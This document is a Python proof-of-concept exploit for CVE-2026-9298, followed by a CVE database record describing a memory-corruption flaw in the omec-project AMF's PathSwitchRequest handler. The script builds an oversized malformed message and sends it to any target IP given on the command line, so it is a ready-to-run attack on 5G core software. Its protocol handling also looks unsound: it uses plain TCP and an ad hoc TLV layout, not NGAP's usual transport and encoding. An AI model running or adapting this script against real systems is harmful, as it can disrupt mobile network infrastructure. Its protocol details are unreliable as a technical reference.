CVE-2026-9298

# CVE-2026-9298 PoC - Malformed PathSwitchRequest # This PoC demonstrates sending a malformed PathSwitchRequest to trigger memory corruption import socket import struct def create_malformed_pathswitch_request(): """Create a malformed PathSwitchRequest message""" # NGAP PathSwitchRequest message structure message = bytearray() # Protocol IE: PathSwitchRequestTransfer (critical: true) # Using oversized or malformed data to trigger memory corruption ie_id = 0x5F # PathSwitchRequestTransfer IE ID criticality = 0x0 # reject # Create malformed data with unexpected length/format malformed_data = b'A' * 1000 # Oversized data # Encode as TLV (Tag-Length-Value) message.extend(struct.pack('!H', ie_id)) message.extend(struct.pack('!B', criticality)) message.extend(struct.pack('!B', 0x02)) # presence: optional message.extend(struct.pack('!I', len(malformed_data))) message.extend(malformed_data) return bytes(message) def send_exploit(target_ip, target_port=38412): """Send malformed PathSwitchRequest to AMF""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, target_port)) payload = create_malformed_pathswitch_request() sock.send(payload) print(f"[*] Malformed PathSwitchRequest sent to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") sys.exit(1) send_exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-9298", "sourceIdentifier": "[email protected]", "published": "2026-05-23T11:16:55.500", "lastModified": "2026-05-26T19:50:21.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in omec-project amf up to 2.1.1. Affected by this vulnerability is an unknown functionality of the component PathSwitchRequest Handler. The manipulation results in memory corruption. The attack may be launched remotely. The exploit is now public and may be used. It is advisable to implement a patch to correct this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}]}], "references": [{"url": "https://github.com/omec-project/amf/", "source": "[email protected]"}, {"url": "https://github.com/omec-project/amf/issues/680", "source": "[email protected]"}, {"url": "https://github.com/omec-project/amf/pull/666", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811684", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365245", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365245/cti", "source": "[email protected]"}]}}